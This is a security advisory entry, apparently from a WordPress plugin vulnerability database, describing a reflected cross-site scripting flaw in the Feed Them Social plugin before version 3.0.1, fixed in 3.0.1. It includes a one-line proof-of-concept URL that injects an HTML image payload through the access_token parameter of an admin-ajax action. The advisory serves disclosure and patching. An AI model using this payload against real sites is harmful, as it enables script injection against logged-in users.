WordPress Plugin Vulnerabilities
Feed Them Social < 3.0.1 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting
Proof of Concept
Against any authenticated user: https://example.com/wp-admin/admin-ajax.php?action=fts_encrypt_token_ajax&access_token=%3Cimg%20src=x%20onerror=alert(/XSS/)%3E
Affects Plugins
Fixed in version 3.0.1
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-07-26 (about 6 months ago)
Added
2022-07-26 (about 6 months ago)
Last Updated
2022-08-25 (about 5 months ago)